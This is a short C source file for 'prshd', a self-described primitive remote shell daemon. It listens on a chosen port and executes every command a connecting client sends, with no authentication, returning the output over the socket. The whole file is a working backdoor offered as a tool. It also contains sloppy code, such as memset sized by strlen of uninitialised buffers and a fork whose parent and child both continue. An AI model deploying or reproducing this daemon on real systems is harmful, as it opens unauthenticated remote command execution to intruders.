/* prshd.c v0.03
 * Primitive remote shell daemon
 * By Feky */

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>

#define BACKLOG    10
#define BUFF       2048
#define COMM_LEN   3

int Seize(int);             /* receive and execute commands */
void OmgError(int, char *); /* send error message */

void
OmgError(int CSocket, char *Err) {

  send(CSocket, Err, strlen(Err), 0);

}

int
Seize(int CSocket) {

  char Get[BUFF], Buff[BUFF];
  FILE *sh;
  int i = 0, x;

        memset(Get, '\0', strlen(Get));
        recv(CSocket, Get, BUFF - 1, 0);
        x = 0;
        while(Get[i] != '\0') {
            if(isprint(Get[i]))
               x++;
            i++;
        }
        if(x < COMM_LEN)
            OmgError(CSocket, "Command too short.");

        else {
            char Exec[x + 1];
            strncpy(Exec, Get, x);
            Exec[x] = '\0';

            sh = popen(Exec, "r");
            if(sh != NULL) {
                memset(Buff, '\0', strlen(Buff));
                fread(Buff, 1, BUFF - 1, sh);
                send(CSocket, Buff, strlen(Buff), 0);
                pclose(sh);
            }

            else
                OmgError(CSocket, "Failed to execute.");

        }

return 0;

}

int
main(int argc, char *argv[]) {

    int Socket, CSocket, Port;
    struct sockaddr_in SAddr, CAddr;
    socklen_t AddrLen;

    if(argc != 2) {
        printf("Usage: %s [port]\n", argv[0]);
        return 1;
    }

    Port = atoi(argv[1]);

    if(fork() < 0)
       return 1;

    /* build stream socket */
    Socket = socket(AF_INET, SOCK_STREAM, 0);

    if(Socket < 0)
	return 1;

    SAddr.sin_family = AF_INET;
    SAddr.sin_port = htons(Port);
    SAddr.sin_addr.s_addr = INADDR_ANY;
    /* bind */
    if(bind(Socket, (struct sockaddr*)&SAddr, sizeof(SAddr)) < 0)
	return 1;
    /* listen carefully */
    if(listen(Socket, BACKLOG) < 0)
        return 1;
    /* halo? */
    AddrLen = sizeof(CAddr);
    CSocket = accept(Socket, (struct sockaddr*)&CAddr, &AddrLen);

    while(1)
        Seize(CSocket);

    close(CSocket);
    close(Socket);
    return 0;

}